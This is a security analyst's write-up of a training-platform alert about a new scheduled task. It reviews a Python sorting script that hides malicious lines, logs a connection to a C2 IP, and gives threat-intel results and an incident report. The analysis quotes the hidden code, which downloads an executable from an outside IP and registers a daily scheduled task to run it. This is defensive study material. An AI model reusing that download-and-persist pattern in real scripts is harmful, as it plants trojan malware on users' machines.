

Event Information:

EventID :
91
Event Time :
May, 14, 2021, 03:22 PM
Rule :
SOC144 - New scheduled task created
Level :
Security Analyst
Source Address :
172.16.17.36
Source Hostname :
Helena
File Name :
Sorted-Algorithm.py
File Hash :
65d880c7f474720dafb84c1e93c51e11
File Size :
1.16KB
Device Action :
Allowed

Analysis Steps:

The file hash was searched via AnyRun and VirusTotal but results were inconclusive. Therefore, the file was downloaded and code manually reviewed. We can observe that the top of the code is benign and related to sorting letters. However, at the bottom we can see malicious code which downloads a further payload from a C2 address and creates a scheduled task.

```
vowels.sort(reverse=True)
# print vowels
print('Sorted list (in Descending):', vowels)
»

# take second element for sort
def takeSecond(elem):
    return elem[1]
# random list
random = [(2, 2), (3, 4), (4, 1), (1, 3)]
# sort list with key
random.sort(key=takeSecond)
# print list
print('Sorted list:', random)»
» » » » »
» » » » »
» » » » »

urllib.request.urlretrieve("http://92.27.116.104/", "C:/Windows/Temp/
x86_x64_setup.exe")
os.system('SCHTASKS /CREATE /SC DAILY /TN "DailyRoutine" /TR "C:/Windows/
Temp/x86_x64_setup.exe" /ST 11:00')
```

```
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```

The connection from the host Helena to the C2 address seen in the code can be observed in the logs.

```
[May, 14, 2021, 03:22 PM] source_address=172.16.17.36 source_port=55221 destination_address=92.27.116.104 destination_port=80 raw_log: {": "}
```

Field	Value
type	Proxy
source_address	172.16.17.36
source_port	55221
destination_address	92.27.116.104
destination_port	80
time	May, 14, 2021, 03:22 PM

Raw Log

The offending IP is not in our CTI database and is external to the organisation. No emails have been received indicating penetration testing involving the IP for the relevant time period. VirusTotal indicates it is a UK address associated with 92[.]27.116.104 AS 13285 (TalkTalk). 10/91 security vendors flagged this IP address as malicious as of 1 month ago.

10 791 Community Score 10/91 security vendors flagged this IP address as malicious 92.27.116.104 (92.16.0.0/12) AS 13285 (TalkTalk) GB Last Analysis Date 1 month ago Reanalyze More			
DETECTION DETAILS RELATIONS COMMUNITY			
Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.			
Security vendors' analysis			
ADMINUSLabs	Malicious	alphaMountain.ai	Malicious
Chong Lua Dao	Malicious	CyRadars	Malware
ESET	Malware	Kaspersky	Malware
Lionic	Malware	SOCradar	Malware
Sophos	Malware	Webroot	Malicious
Abusix	Clean	Acronis	Clean

On AbuseIPDB this IP was reported 0 times with a 0% confidence of abuse.

92.27.116.104 was not found in our database	
This IP was reported 0 times. Confidence of Abuse is 0%:	
0%	
ISP	TalkTalk Communications Limited
Usage Type	Fixed Line ISP
ASN	AS13285
Hostname(s)	host-92-27-116-104.static.as13285.net
Domain Name	talktalk.business
Country	United Kingdom of Great Britain and Northern Ireland
City	Hyde, England

Based on following Playbook procedure and the analysis of available information, this alert is determined to be a successful True Positive.

Report:

Incident Summary

Analysis confirms a True Positive alert for a malicious scheduled task creation on the host Helena (172[.]16.17.36). Manual code review of the flagged Python script revealed hidden commands designed to download a secondary executable from an external C2 server and establish persistence.

Incident Details

- **Alert Name:** SOC144 - New scheduled task created
- **Target Host:** Helena (172[.]16.17.36)
- **Flagged File:** Sorted-Algorithm.py
- **C2 IP Address:** 92[.]27.116.104

Analysis and Evidence

- **File Evasion:** The flagged Python script utilises a Trojan-like structure. The top segment executes benign sorting operations to evade detection.
- **Payload Delivery:** The bottom segment contains malicious routines utilising `urllib.request.urlretrieve` to download `x86_x64_setup.exe` from `[http://92][http://92)[.]27.116.104/` directly into the `C:/Windows/Temp/` directory.
- **Persistence Mechanism:** The script executes a system command (`os.system`) to silently create a scheduled task named `DailyRoutine`. This task is configured to run the downloaded payload daily at 11:00.
- **Network Activity:** Proxy logs confirm an outbound connection from the host to the external C2 address on port 80, indicating a highly probable payload delivery.

Threat Intelligence

- **OSINT:** VirusTotal analysis flags the destination IP address (92[.]27.116.104) as malicious (10/91 vendors). The IP is geographically located in the UK and is external to the organisation.
- **Internal Correlation:** No emails or ticketing systems indicate any authorised penetration testing involving this external IP.

Actions Taken

1. Analysed the raw Python script to uncover the hidden C2 download and scheduled task commands.
2. Verified network communication to the malicious IP address.
3. Declared the alert as a True Positive and escalated.

Let's Defend Result

SOC144 - New scheduled task created

True Positive (+5 Point)

Check If Someone Requested the C2 (+5 Point)

Analyze Malware (+5 Point)

Check if the malware is quarantined/cleaned (+5 Point)